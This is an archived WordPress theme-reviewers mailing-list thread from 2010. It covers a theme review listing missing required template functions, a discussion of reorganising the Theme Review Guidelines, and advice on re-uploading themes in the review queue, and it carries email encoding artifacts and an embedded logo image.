=A0 =A0 =A0Type: =A0theme =A0 | =A0 =A0 Status: =A0assigned
Resolution: =A0 =A0 =A0 =A0 =A0| =A0 Keywords: =A0theme-hotmagazine,
---------------------+-----------------------------------------------------= -
Changes (by cais):

=A0* owner: =A0christian_gnoth =3D> cais
=A0* status: =A0accepted =3D> assigned


Comment:

=A0Results: for hotmagazine.1.1.zip
=A0style.css errors:Missing bypostauthor css.
=A0Please add .bypostauthor to style.css (Recommendation)


=A0Missing functions:body_class was not found.
=A0*Required*
=A0See: body_class Example: <?php body_class( $class ); ?>

=A0wp_footer was not found.
=A0*Required*
=A0See: wp_footer Example: <?php wp_footer(); ?>

=A0the_post_thumbnail was not found.
=A0*Recemmended*
=A0See: the_post_thumbnail Example: <?php the_post_thumbnail( $size, $at= tr );
=A0?>

=A0comment-reply was not found.
=A0*Required*
=A0See: Migrating Plugins and Themes to 2.7/Enhanced Comment Display Exampl= e:
=A0<?php if ( is_singular() ) wp_enqueue_script( "comment-reply&quo= t; ); ?>

=A0Post Pagination was not found.
=A0*Required* *previous_posts_link()/next_posts_link() may be used instead*=
=A0See: posts_nav_link Example: <?php posts_nav_link( 'sep', = 9;prelabel',
=A0'nextlabel' ); ?>



--
Using Opera's revolutionary email client: http://www.opera.com/mail/
_______________________________________________
theme-reviewers mailing list
th= eme-reviewers at lists.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>

--001636c5b5e287ad860491b7e602-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: links to examples. Break the page(s) down to: Introduction | TOC at the top; minimalist detail listing in the next major section; expanded details follows; full (working, as in copy and paste?) examples where possible at the bottom. Cais. On Wed, Oct 20, 2010 at 5:11 PM, Bavota San wrote: > Are the complaints coming from reviewers or developers? > > I am a reviewer and a developer and in my opinion the guidelines that have > been set and the amount of information that has been provided is amazing. As > a developer, my themes are now ten times better than they were before all > due to the guidelines. If developers don't realize that this process is > making them better developers than I say nuts to them. We have to maintain a > level of quality and I think these guidelines will help raise the bar and > not detract people from wanted to be a part of the WordPress theme > community. > > I don't think a second page is needed. I like the idea of a brief list at > the top, that scrolls the page down to a block of extended instructions. > > c.bavota > Web Programmer > c at bavotasan.com > http://bavotasan.com > http://themes.bavotasan.com > > > Become an Affiliate and earn 40% commission on sale referrals > http://themes.bavotasan.com/affiliates > > > > On 2010-10-20, at 4:54 PM, Chip Bennett wrote: > > I tend to agree, which is why the Guidelines are as detailed as they are. > > But, that level of detail has led to complaints. So, I'm wondering if there > is a reasonable way to balance concerns? > > I like your suggestion. It definitely keeps everything together on one page > - and helps us summarize the main points/goals that we're trying to > accomplish with the Guidelines. > > Chip > > On Wed, Oct 20, 2010 at 3:51 PM, Marty Martin wrote: > >> I think a bulleted sidebar box or a list at the top of the original page >> with #anchor links or something like that is best rather than a second page, >> because if you/we implement the simplified list, then in my opinion >> designers won't look at the expanded list and it'll increase problems for >> reviewers. I could be completely wrong, but that was my gut reaction. >> >> Marty >> >> On Wed, Oct 20, 2010 at 4:49 PM, Chip Bennett wrote: >> >>> All, >>> >>> In order to address the complaint that the Theme Review Guidelines are >>> overly complex, and too long/difficult to read, what would everything think >>> of creating two versions: >>> >>> 1. Simplified Guidelines, that list just the requirements >>> 2. Expanded Guidelines, that go into specific details (listing >>> specific features/functions/implementations/etc.) >>> >>> I'm not really sold on this approach (two pages are more difficult to >>> maintain than one, single page), but I can see the benefit of a shorter, >>> less-detailed list of the existing Guidelines. To wit: >>> >>> Code Quality >>> >>> - Themes are required not to have any notices, warnings, errors; or >>> use of deprecated functions. >>> - Themes are required to utilize current recognized version(s) of >>> (X)HTML and CSS. >>> - Themes are required to generate no JavaScript errors >>> - Themes are required to have a valid HTML document HEAD >>> >>> Functionality >>> >>> - Theme is required to incorporate the following WordPress core >>> functionality: >>> - Automatic Feed Links >>> - Comments >>> - Widgets >>> - Theme is recommended to incorporate the following WordPress core >>> functionality, but is not required to do so. However, if incorporated, >>> functionality must support the core WordPress implementation: >>> - Navigation Menus >>> - Post Thumbnails >>> - Custom Header >>> - Custom Background >>> - Visual Editor CSS >>> >>> Template Tags and Hooks >>> >>> - All template tags and hooks used in a Theme are required to be >>> implemented properly, including incorporation of required template tags and >>> hooks where appropriate. >>> >>> Including Files >>> >>> - If incorporated into the Theme, standard template files are >>> required to be called using the correct template tag. >>> - If incorporated into the Theme, custom template files are required >>> to be called properly. >>> - Themes are required to include all template files called within the >>> Theme, rather than relying upon legacy Theme support. >>> >>> Site Information >>> >>> - If incorporated into the Theme, site information is required to be >>> called using the correct template tag. >>> >>> WordPress-Defined CSS Classes >>> >>> - Themes are required to support WordPress-defined CSS classes >>> >>> Theme Template Files >>> >>> - Theme is required to include all template files, as specified. >>> >>> Licensing >>> >>> - Themes are required to be 100% GPL-licensed, or use a >>> GPL-compatible license. >>> >>> Theme Name >>> >>> - Themes are required to adhere to Theme Name Guidelines >>> >>> Credit Links >>> >>> - Themes are required to adhere to guidelines for appropriate credit >>> links >>> >>> Theme Unit Tests >>> >>> - The Theme must meet all the requirements of the Theme Unit Test. >>> >>> (Or something along these lines. I culled this very quickly from the >>> existing Codex page.) >>> >>> Thoughts? >>> >>> Chip >>> >>> >>> _______________________________________________ >>> theme-reviewers mailing list >>> theme-reviewers at lists.wordpress.org >>> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >>> >>> >> >> _______________________________________________ >> theme-reviewers mailing list >> theme-reviewers at lists.wordpress.org >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> >> > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --0016e6d625f8b63a9e04931311b5 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Two pages, as suggested ... I am really a long way into the No camp on that= one (*grin*) as I agree the average reader will not bother with the second= page and that is where the real information will be and should be read.
Now, to the idea of re-organization of the existing Theme Review page(s= ), I think there could be potential with enhancing the table of contents (T= OC).

Creating bullet points for each item linked to expanded detaile= d information; then, perhaps additional links to even more expanded details= /examples from each section ...

A tiered approach ... the TOC leads to basic information very minimalis= tic. From the minimalist details there are links to expanded details ... th= en links to examples.

Break the page(s) down to: Introduction | TOC = at the top; minimalist detail listing in the next major section; expanded d= etails follows; full (working, as in copy and paste?) examples where possib= le at the bottom.


Cais.

On Wed, Oct 20, 2010 at 5:1= 1 PM, Bavota San <c= @bavotasan.com> wrote:
Are the complaints coming from review= ers or developers?

I am a reviewer and a developer and i= n my opinion the guidelines that have been set and the amount of informatio= n that has been provided is amazing. As a developer, my themes are now ten = times better than they were before all due to the guidelines. If developers= don't realize that this process is making them better developers than = I say nuts to them. We have to maintain a level of quality and I think thes= e guidelines will help raise the bar and not detract people from wanted to = be a part of the WordPress theme community.

I don't think a second page is needed. I like the i= dea of a brief list at the top, that scrolls the page down to a block of ex= tended instructions.
<= span style=3D"border-collapse: separate; color: rgb(0, 0, 0); font-family: = Helvetica; font-size: medium; font-style: normal; font-variant: normal; fon= t-weight: normal; letter-spacing: normal; line-height: normal; text-indent:= 0px; text-transform: none; white-space: normal; word-spacing: 0px;">

c.bavota
Web Programmer

Become an Affiliate and earn 40% commission on sale referrals
http://themes.bavotasan.com/affiliates



On 2010-10-20, at 4:54 PM, Chip Bennett wrote:

I tend to agree, which is why the Guidelines are as detailed as they= are.

But, that level of detail has led to complaints. S= o, I'm wondering if there is a reasonable way to balance concerns?

I like your suggestion. It definitely keeps everything toget= her on one page - and helps us summarize the main points/goals that we'= re trying to accomplish with the Guidelines.

Chip

On Wed, Oct 20, 2010 at 3:51 PM, Marty Marti= n <m at seoserpent.com> wrote:
I think a bulleted sidebar box or a list at the top of the original page wi= th #anchor links or something like that is best rather than a second page, = because if you/we implement the simplified list, then in my opinion designe= rs won't look at the expanded list and it'll increase problems for = reviewers. =A0I could be=A0completely=A0wrong, but that was my gut reaction= .

Marty

On Wed, Oc= t 20, 2010 at 4:49 PM, Chip Bennett <chip at chipbennett.net> wrote:
=
All,

In order to address the complaint that the Theme Re= view Guidelines are overly complex, and too long/difficult to read, what wo= uld everything think of creating two versions:
  1. Simplified= Guidelines, that list just the requirements
  2. Expanded Guidelines, that go into specific details (listing specific fe= atures/functions/implementations/etc.)
I'm not real= ly sold on this approach (two pages are more difficult to maintain than one= , single page), but I can see the benefit of a shorter, less-detailed list = of the existing Guidelines. To wit:

Code Quality
  • = Themes are required not to have any notices, warnings, errors; or use of de= precated functions.
  • Themes are required to utilize current recognized version(s) of (X)HTML= and CSS.
  • Themes are required to generate no JavaScript errors
  • =
  • Themes are required to have a valid HTML document HEAD
Functionality
  • Theme is require= d to incorporate the following WordPress core functionality:
    • Au= tomatic Feed Links
    • Comments
    • Widgets
  • Theme is r= ecommended to incorporate the following WordPress core functionality, but i= s not required to do so. However, if incorporated, functionality must suppo= rt the core WordPress implementation:
    • Navigation Menus
    • Post Thumbnails
    • Custom Header
    • =
    • Custom Background
    • Visual Editor CSS
<= div>
Template Tags and Hooks
  • All template = tags and hooks used in a Theme are required to be implemented properly, inc= luding incorporation of required template tags and hooks where appropriate.=
Including Files
  • If = incorporated into the Theme, standard template files are required to be cal= led using the correct template tag.
  • If incorporated into the Theme,= custom template files are required to be called properly.
  • Themes are required to include all template files called within the The= me, rather than relying upon legacy Theme support.
Site Information
  • If incorporated into t= he Theme, site information is required to be called using the correct templ= ate tag.
WordPress-Defined CSS Classes
  • Themes are required to support WordPress-defined CSS classes
Theme Template Files
  • Theme is required to include all template files, as specified.
Licensing
  • Themes are re= quired to be 100% GPL-licensed, or use a GPL-compatible license.
Theme Name
  • Themes are re= quired to adhere to Theme Name Guidelines
Cr= edit Links
  • Themes are required to adhere to gu= idelines for appropriate credit links
Theme Unit Tests
  • Th= e Theme must meet all the requirements of the Theme Unit Test.
(Or something along these lines. I culled this v= ery quickly from the existing Codex page.)

Thoughts?

<= div>Chip


_______________________________________________
theme-reviewers mailing list
th= eme-reviewers at lists.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>



_______________________________________________
theme-reviewers mailing list
th= eme-reviewers at lists.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


_______________________________________________
theme-reviewers mailing = list
theme-reviewers at lists.wordpress.org
http://list= s.wordpress.org/mailman/listinfo/theme-reviewers


________________________= _______________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


--0016e6d625f8b63a9e04931311b5-- --0016e6d625f8b63aa304931311b6 Content-Type: image/png; name="Logo-Bavotasan.png" Content-Transfer-Encoding: base64 Content-ID: <0B3CB3F2-F43D-4388-B344-4D1596B8E89B> X-Attachment-Id: 8357893c5d4ae84b_0.0.1.1 iVBORw0KGgoAAAANSUhEUgAAAYYAAABNCAIAAAAtulRxAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAF09JREFUeNrsXX1sVFd2Z2OEFVszQMNHZTuApVRgm5K2EgPSBnZhsVcl 2SXY2ZDQAA6rNFX4WLabYmICSXdrAylRqA20lbqJsbspsNhASKiKA0TZ/AG21Aoa81G12EuxFcAR Hw6jYsVKf/iSmzPnvnfnvTfj8dh7frKsmTfv3XvP/fjdc86997xvffXVVyMEAoEgPfCAVIFAIBBK EggEAqEkgUAglCQQCARCSQKBQChJIBAIhJIEAsHwwMgAz/Rev3zj9Hs3W97r+fRjfM2cMDk0fW7O kk2jxk8aLDF6r3d17q+90XK8785tfA0VRcZGFoybtzgjKyRtLBAMIXzL11bJvuitrr1/c/X9WnYd rPRg/qOTVm4fFFYCH13auaH3eufda530ekZ2+PcfX57z9GppZoFgGFIS+OjippJo+xl6cdz8ZYOr H1FEOy507d95o+VDehEa0x9U7BJ1SSAYVpTkyEf5a/7poXnPpZtI3R8dat+5gbHStL+ul8YWCNIf Xt3bsNeGBB/dU9y+++Sk5yvplZ62FmhP0tgCwTChpN7rl5n/KDR9bnrykcLEx5dnTsilVz77oL4v 2iPtLRAMB0q6eoT7s3OWbEpzwXKeXhNjeN65faPluLS3QDAcKKmn7WP6NSN7TKhoTpoLNjbyPXbl ZqzbWyAQDFVKYl6krPwZ6S9YRlYoa0pBjBQd56W9BYI0R5CtkqGiub7uj3ZcwN/I7FBGdjhUONO8 obOzs/nfjuU9nBcOh0PhcEFBQXJYKTtm4Z/tWhIIBMOEkrzjZuvxy+9UUy7InJD7yPpdWVOm0dsa f32gZscOeqW4pKT4+yWlZWWJ5B4uivS0tSSSQk9PT2tr64ULF/A5Nzd30aJF0mMEgkGmpGjH2cCp f/b+Hqab4CtIiu0S6rxyhT3YfOwY/mre2vHGm9sjs2YNStU0NDTs2rULrKSvtLS0VFVVSacRCAYO 8X1JfXduBU49K9/BBDM1lysGJenrS5c809TYOChV09XVRfkIOHToELsiEAhSTUmJIPfp1RnZ4bi3 vfra5nf37V27bl1BYaH56/qfvfxhc3Pqq6aioqK6uppdVEacQCBII0rKyB7j9c6sULgoEve2goIC WGdr1/3kyNEPwE3hcNhkpUFRTxYtWjRt2jTpJQJBWlNSVv6jPm6eMs24YltQAzf9ymCl27dvv/PL txOXNtrhW8eJRCLSSwSCYWK4uShZobhKE0w5drH52DG/GYWmc794gDMloZCEEBAI0omSeq/9ll3J nDDZj0rFdSIvplxpWVleXh69cv7cuXSoL9OoFAgEKaWku9c62BVf0ZFM9/aoCXleHpw1e3aCspk2 o4o5mQimTp0qnYaitR9dXV1SFYLBMdx8OZIcwc7ouyE3Ly/BjDKyQowQo+1ypiSZOHHiRHk/Dh06 JLUhSBElsTO3fg+4ZY7nBOR4piQu8gIxFFOUvpT4JMkDNKPKyvtxqcTjJkgdJTFf0oNT/GlJo8bn 2O04jwhmxzG/lWhJycLFixfXrFmjd2bIVglBshDnQElf9NbdWEoKTZ+bSH6mf8cNzJ9d/uOVQbKL da4neOTtfiI9PTBYDh482Nraqi9+rx9xD8HhEdg4+N/ZGXPOZubMmXj8ySefNNUNKCMNDQ0tLS1q lyYGf3V1td2lhUd27dqlcsnNza2rq8vJyXEUBIU5fvw4FQQFiEQiFllUeSA+3SmmhGKJQ6j58+cz IsOdWhYNCIVMly1b5lhOM3eUmVYgZEQK9jIf7wcrJB5EIVHt+O/W1rSKUDmofCqUalDcQNl51apV TPAAcOwqqsCQNG76rNvQx5cvX27pP4cPH9Z9G/K+8sortFa9yxu4ZuLE3r7ZcuS/t/6IuIEm/+E/ XPRduU99Q0Pew2D/yYxHb9++741+fuXKjZsDBo379xUR6tUu2n7IOy0Cu3fvxvDWwxU9cuvWrYxQ KLPU1tY6WjFoGKgVbEhwk9boAUBZWRkbwLjt1KlTlnTKy8tpRiiS2Q8gV319vWUDqhv30Qqxg+aL jDZu3IgOan8EXfall16yjJYtW7ZYyuzIv14KjEFeVVVlNty2bdtQSyyLY/37UZTd6tagdkHiznlx 68re09BF7d49N3nNutKdzS4vaF0f/0ywZjJef/11y8+fHdwebf/m2O24ectH/3GJ7ypua+m9fn8M Z+cX/N63F8Z9pKmx8f0jR9TngsLCN97cnpmZGayB/6/rEt0h+cCozNF/5CP+nFpRus/ImZn2Y25o jE8++WThwoVmaZcuXXr27FnahGibJUuWhMPhS5cu9fb23rORe3vREfPy8qgdNH78eDxIM8VtBQUF +fn5lj6NYuivyAUDif764osvQhCVKfLCDUiwu7ub5oKvR48enTNnzrhx49iYhJjt7e32elNToq4H 5EiLhBEF8kW+uA1J6XxR1V988cVjjz3mODdgpKky4/HF/cDj9CgiPmCwUWHZGMNPyBfqGJQyTHh6 oRBlOHPmDBqFZYrKx3VUBa09yIVygvctlYAb7G1ksYhLS0vpJARhUWzkq2TXPc2xwOpx3dNQG+iN eByTKH0cJXfsqLgTJafy4inUM7J79tlnLfKiwEpeFMB+Z9yasWlJsNrOvji1785NfWXGP/5XgPcj XXhtubaYcp9eHffFaqj973z7MaUigY/e3bc3Ee9pz7nWC5uXUWfWo39/3Ps7lFifRknQQnryVxYc Iyn0g5qaGnoFt0FF0l+hfVBVCK24YsUKnYipBOEnDADaTaF7V1RUWIpdVFSkPyM1XYEsKVYSM/gB HmxqajLtKUzjdB7GKFWJnz9/Ht0aAx5VpDNV48St8KZ0zc3NLEdFAY5lVsUGW6nP0JKoFTZ79mwt Dq7jV4sUZspq8BcXF8fMl01NVBzQIiQ1lQJcb/R5Yhx5IWVdYDDOhg0bdDUiC+q/Yy3LOhKu79mz Ryu5uKj04rglxJ2Ql+aCMtBeoeRFe7Fuj3aH4kZ7crCasbm322tfoHw0bv6ygXhfGxSimh1/p/5a Tp/G39Ilzyg+Ki4pSZCPRvQv8IWIkxtG3OV3qgOnhtGC4TTza+AzrjDnrumzoIYebmb9Hv0Go5T5 qpjyzA4At7R4dYqBH2kFYujqwY+uxkoC9QH9mHVQvaxGQQsMvNQP1AbGPBR4JEsz1Qa4koWRKa6g JPSKaXSAdNxqTxVbcaLj9KY/Qz9iv7J8HW0lkCNTRjDqtOnU1taG0QWpwQ7sNnPQxgWqmvIRs62U aukmnfIM6CuUj3S1M3lRQvCU6T1An2GVj2SVIU/lZXWOTq4K4KVmLBvZnCnp85P/fHFzyc3T7xHl YkzgVwBQH7O54qbit6k/kBH+lGMb+tHan65Lyuoye4dS98mD9xS3c61BCM4oD66g3hkr6SFk8oLj oTmzzdgN6F70HnujUkKkTymPo57TMJLNZ5ER67jUdKW3ea809FFdP45rc7iBVqwpviYLapQxVgr1 gzmqqfhmmdn9bkTPyoxRhypCo1MPHZICg7DcfcWNOHz4sK5n5OgYmYtyPUSjuiS6nJ758JNjA6GW GN04+hNZF0WyYB/wC5sMMAkxeTH3gIy81IybN9aVkrpP1vd8+jH1ak/9xbHAKtJIYiWZ50s6XYIl gZh+8KcL/+yZZ6E3JUhJWVOm5a/eStkQhmTPp6dHJAmmFkMXGtRMC21/Qz8ciSDuSpM2juxTurYT 9QCmnYNaoI7F0D+xkZ/4Tkh0U8gOEcx4L+awp1oVA1jDUfVQdoqZOAYDLiJfZrI5Dj83pYZREhJ0 qz024H2Bto6b0qfMxrp+UM5CyenjTIe1KIamSm72Rsjr5pBevHgxu9NtQc17zThT0sMrt9Nd2l/e uWWedEsWcvPyZs2e7bYT8vSpU9CbKl7+q8SDk9B1t7GRBePmlSZRCkxKrNKZZoFmXtYPN/ZxW4em KdAsLDRx8OBBU0e4ePEiLZI9woF3+vPO2pAdPdsL+dr9jOXl5ZDFsQkcxwPmdnM+TwSWrR6B92dB Iq04oK4sK+WoQOU0cJszMJ1YdFjWi7w0rkVe1poWm8Z7zTzgolbMgFqkj9f23bnZXvtC7/XLwarb vj3yV3v/BX8fffKb//jPs2+8ud1xS2TjgQMgpsCsFO24QF/JHSqKPLJ+J9vDmThYSw9EsDeahZvt Bv1fVxSdzFnPs1tebEggQUcWSBmo1gbBS0tLd+/enYYRPgOfyqatE0DVoo/HJf24XgJfJnnSa8bV vZ2RNZo6j8BKXft+kbgvyXKaBBRbWlYGenp3315TaYId9xcv/HmwAjB/du6SNQPRHZM4D3tkCsf5 TV9kGy+poyRuUfEgm9YsxlQKYK52w04pLi7euHFjWp34DXwqm7aOm7/MAu/6r9n6FrfOoNSMbcXt oXnP0QCS3ScaAitKvhCZNevIvx41g97CiAsQhxsqEt20nTWlINghu7hgs5P3RTFf5g9lCtN2U9uU HR0Kfocuo6TBHfmwvEzNX22tTkNiCgC2Ecmv0ee3FwVgvZQhzoGSsbN+ACbSX2+cfm/iE6tTUCzU GnQlvTtJo+atHX7fpHT1g5hV7dD0yIAW225NKG+iOg+he6EiGo/6M/QFvQdH2W6UCjUfoVuzecnv ZMh6bbLmUiX+hX74Er+urs5t+7s6uAAKtmwLVmdZzp8/T1NALVEuG8TDw4kYoQEUWPQZ2qCokxTo +EnQkvrdLt+hXz8/2RBkoH6tlYSKIr6G9xtvbmcXr1y54vfVADdaYqybsZEFqXd/KOzevRtTemVl pRqTtDsqBPBYMUVJbz5gSyGmMpWgOAFSABmVlJSAVlBmU3wv/UEt27mdooApB3XJkYzKy8tLS0vr 6+sZozEpEj88PLget8CTR/rwUXxKejA2FEm0/Uxf9FbKCreguNh0Kp1r8xFeElYbC9vm64BbInMd O8Oxdu1augUW4wqzem1t7alTp9SmMu/zm5vtpldt4r4FM0CvZWap3xRAFiAjuqgEdQ/iNzc3K/E9 0sGyZcvwyKpVqxyJCbXB9v4dPnwYZMQOSFdXVzc1NSHfY8eOmV6qRJAUj5v9IORAUFIK4F2oOJSU NYVHR6L7lVKA8pUrTY+SD46IPfqfkR32fpQkQdAxhnFCXdEYUWCiiooKeurCO+goQv/TM7M+LuA4 zNhM6LffJ+J9gO5GqRPFA61UVVVB/AB7AlBjMNDciAm8r3Uf1Azdeo4awFM1NTXg63SODup3CYyx eYKPp7uWNMKItA1FKUA2KpKk45sm7SgsKkxEvGjH+ZSpSGyQ65bGCKFni2B6BD4jbrHdoH9p1nPc yMc4JW7HZTExAu8nMnfxOZ5BD0xM5rZA3RBbtmyhfOQWpGWg1RaP4ujPfhdG1LZ1WuFx7Ufa+kOP kkbFUhILMukRo/pjS470r6Ek+PZt9vrvkdkDGMyfNbPu/Wwbm2XbtHcbivKLYqITJ04oq9Ax6JLZ 8+JuyGbGjneL1UyH/pogHZuj0XwDqCJTZEpFsGxoTiX1eFFVUHLYm164Xt/GFv7tjcte45xc03UQ tKSB28Y9IM6dWMMtcS3JMv/QfkAHAFU3Ety77MgRSF8tY9l7mLmT0zIC6WbiEdbTJ3F1LjPYU9L1 FBhiptRJyTdlYK1jDws14utd7LqN2ON6+74jqA9BBXUbalrS+MmxekdwSvL4bhI7vAfh7huASNtu vkOMGT0GLN5lpjK4MV1c1Z2NQBiG6hFMtm49zDxJYAlsRi1N0GtcJjXPSbmpTo7kgjvZGhy7YePG jXbFgW4OdnR7uZEmq+rB2hHOmkYxjlthoOawcC7MKalCkbjlRc+EsyNvQ4OSnIa670U3FQPb47tJ 7F3E3ELp7kjivTCAM4v1b7cRpfcKmc3MUjAXqjHYVLwL2ufspZo6dSpNVjOd3Txhyg6eYhEL9HUa MMDR1GLEBwqjSakoq2VlZUiKGYyoKNamuAd30otmWA/MBJWVlY6lZX40XTaWL/iX8b4a2KxBB9p2 27ZtW1E/1q5dyw5mm+c8zOKhzOAaHeNNP6IWcO3yKuBxGjAgwYC8A7HpYWTcO+gG7vtDvf1sqGiO r2xyPERuc4S5vlb8/ZLA0gZ4GQEbe1CJWeQH9JI1a9boKQs9gzUzJkCqj2DwlJSUqHAl6Bw6uDLd Lqiu2zVqpMAiciFB+9q/irtMn1JMSqlKxQnTCbpFU2UFVklRXtbKi4rjpYcfHikuLl68eLG6qKNo o2x0+IETaakgLO5E+mClVatW4WatuOEpGnpYh+xQgUd0msgLIxm/KirXW8PMfBMPm+0GzD268lEA ZE1lxEzGAkgoVtJrC0yXZNorZg623w3zHJqP9iIVok83n5uK5J2X2aaHpOyhj09Jib+4LRG888u3 6ddZs2d7X41mvu1gUPaOnoRVz8YVNQljJLDlbTPYowoSQKdxPMXYRDlo6Yo1eAF9TkUaciQFjByW iJfjmigecqeFUeNczbfo0DQyETq0ZbEc2dmX7fQOcghCSRl1yEqO3HEPDdWoQs0pBkETgIZUWBKl Lo34ehHQXOWkwwxP6ViUpr9P3V9XV0cjT0J8PILCWM7T42aPnimIQBmBWf3Ii1KSiq9CozLqp0x3 gWNPQ3vRoJTK+kMBlPObEpYldLcjQ3n0N3nfEmVJ84HUMEvv9a4AIdOaGhuZlvSTn67zkem1K0kp fFVVFdOK0bq7+qG7uAqZ5Bh2S6XgttSqHoR2A4phuyuRPnMZsAHPGtXjCfKamhomDnqSEof6yBsb G+2bdxzPndHiodPrOy3LOiAO1A/yMgNu6JdW4lcMV5qdUiSZ+OAXFobRLTyTvt+0dpWeSDcQeHRL xXU7sNnUbC9TTEdPAirWsaeBo5ubm80NaKpxVbFRPyp6VFL8/ex8f1I8cXHeUHIvm7bfXNwUE3s4 Z8mr+POex+W6LVff36PspknPV477rqdFxw+bm9f/7GWqGfp9T0nX/p2d+3fGzIo/bwh85lb5R9gh qRHW9x056u3UC44HaQQl9XI0NdWolxfZrX0WtZpFYvYiDnupjveXF1FbgB0QcXt/1IkTJ9RhNM3F uA3DQ+dFX+Li9u4m1KF6/REdovYXH6FWUe3UJlLVTu+nbyIxG5TF1cSvFgWKOrzMhQ6dkds7QqiY NF5d3JdZmd5AZgZ676hMXnPyY84pi7zeayZ1lNT90SEaq8hLNH6MyZq3djQeOEAvlj311Lbtf+uP RAxKmnkg+TGMBh2qA6HJ7S8IEAiGBEYOdAbdJ5vo1747t6MdF5SqAupp/HUM73ReuXLu3Dn2Uslg fPS7A/skJhAIJcUgc0JuT1vMFa0igYBqduywP56Xl/fqa5sXxL61RiAQCCUFxMTHV3Sf/GYvaago ordQ28/0FxQWPv/jlX6jIwkEAqEkG0BARdsPde3f+eWd2+GiyMQnvtkTGB4dZpG2oRPl5uUVFhXi epqfABAIBINDSeyMWzBWemT9TvM6NKABVYK+jPZIAwsEQwtezrhNGqKyRdvPSwMLBMONkkwEi08i EAgEyaEkdsxtqMQnMSKTFEh7CwTDgZJC0+fSr3ev/TbacTbNBbvZyt9xlpU/TdpbIBgOlDQ28kN2 5X/ffjnNBevcxx3qyX3jtkAgGDRKemjecyweQM+nH3fsfCGVbyvxjr5oT/uuV1jU7bGRBQP0RkmB QJBExD/jptB7/XLbX0b67tykFzMnTB4T+SHMuozsMfgJtDUoy3O917tAQBnZ4bvXOvGh++RB40VJ BdN+Xp+yd5MIBIIBp6QR94I0nv2frT9yC3Q78Yk1D68ctGNoUIvoHnHhI4Fg+FNSv0106+qR2s9P NlBigpaUs2ST3ziTScfN1uOd+3ZSew1kNPGJFR5joQgEgqFHSZSbou33Ft2y8mdkZI1OH3n6oj0q 5HbWlGmiGQkEvyuUJBAIBAOBB6QKBAKBUJJAIBAIJQkEAqEkgUAgEEoSCARCSQKBQJAA/l+AAQAO Y8ubWpaIkQAAAABJRU5ErkJggg== --0016e6d625f8b63aa304931311b6-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: 1. Upload a new version. You will see 2 versions in the queue, the old and new. 2. Go to the old version and put in a reference to your new one. 3. The reviewers later manually assign a "New Version Uploaded" tag to the old version, so when they are doing so, they can look at your entry and review it. It doesn't matter that the position in the queue is at the bottom. When they pull up the ticket for your old version for tagging they note the reference and review the new version instead. Sayontan. On Fri, Dec 17, 2010 at 10:33 AM, Satish Gandham wrote: > *>No, old tickets don't disappear. Every new upload creates a ticket. > >Old tickets with new uploads will get (manually) marked as "new > >version uploaded" and closed in favor of the new version.* > > Yes, but the closed tickets are never looked again. Only the order in > priority #2 queue is followed as is, with out referring to the closed > tickets. > http://themes.trac.wordpress.org/report/3 > > The oldest ticket in the above queue is 3 weeks old, if the developer > uploads a new ticket before its accepted by a reviewer, his current ticket > will be closed manually and the new ticket will be at the bottom of the > queue and he has to wait again for another 3 weeks. > > Can something be done about it, or should i wait till a reviewer picks up > my theme for review and then upload the new version before he closes it. > > > > > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > -- Sayontan Sinha http://mynethome.net | http://mynethome.net/blog -- Beating Australia in Cricket is like killing a celebrity. The death gets more coverage than the crime. --00163631028b575fbd04979f7a77 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Satish,
From what I have seen, this works:
  1. Upload a new versi= on. You will see 2 versions in the queue, the old and new.
  2. Go to th= e old version and put in a reference to your new one.
  3. The reviewers= later manually assign a "New Version Uploaded" tag to the old ve= rsion, so when they are doing so, they can look at your entry and review it= .
It doesn't matter that the position in the queue is at the bo= ttom. When they pull up the ticket for your old version for tagging they no= te the reference and review the new version instead.

Sayontan.

On Fri, Dec 17, 2010 at 10:33 AM, Satish Gan= dham <satish.= iitg at gmail.com> wrote:
>No, old tickets don't disappear. Every new upload creates a tick= et.
>Old tickets with new uploads will get (manually) marked as "new >version uploaded" and closed in favor of the new version.

<= br>Yes, but the closed tickets are never looked again. Only the order in pr= iority #2 queue is followed as is, with out referring to the closed tickets= .
htt= p://themes.trac.wordpress.org/report/3

The oldest ticket in the = above queue is 3 weeks old, if the developer uploads a new ticket before it= s accepted by a reviewer, his current ticket will be closed manually and th= e new ticket will be at the bottom of the queue and he has to wait again fo= r another 3 weeks.

Can something be done about it, or should i wait till a reviewer picks = up my theme for review and then upload the new version before he closes it.=





_______________________________________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>




--
Sayontan Sinha
<= a href=3D"http://mynethome.net" target=3D"_blank">http://mynethome.net
= | http://mynethome.= net/blog
--
Beating Australia in Cricket is like killing a celebrity. The death g= ets more coverage than the crime.

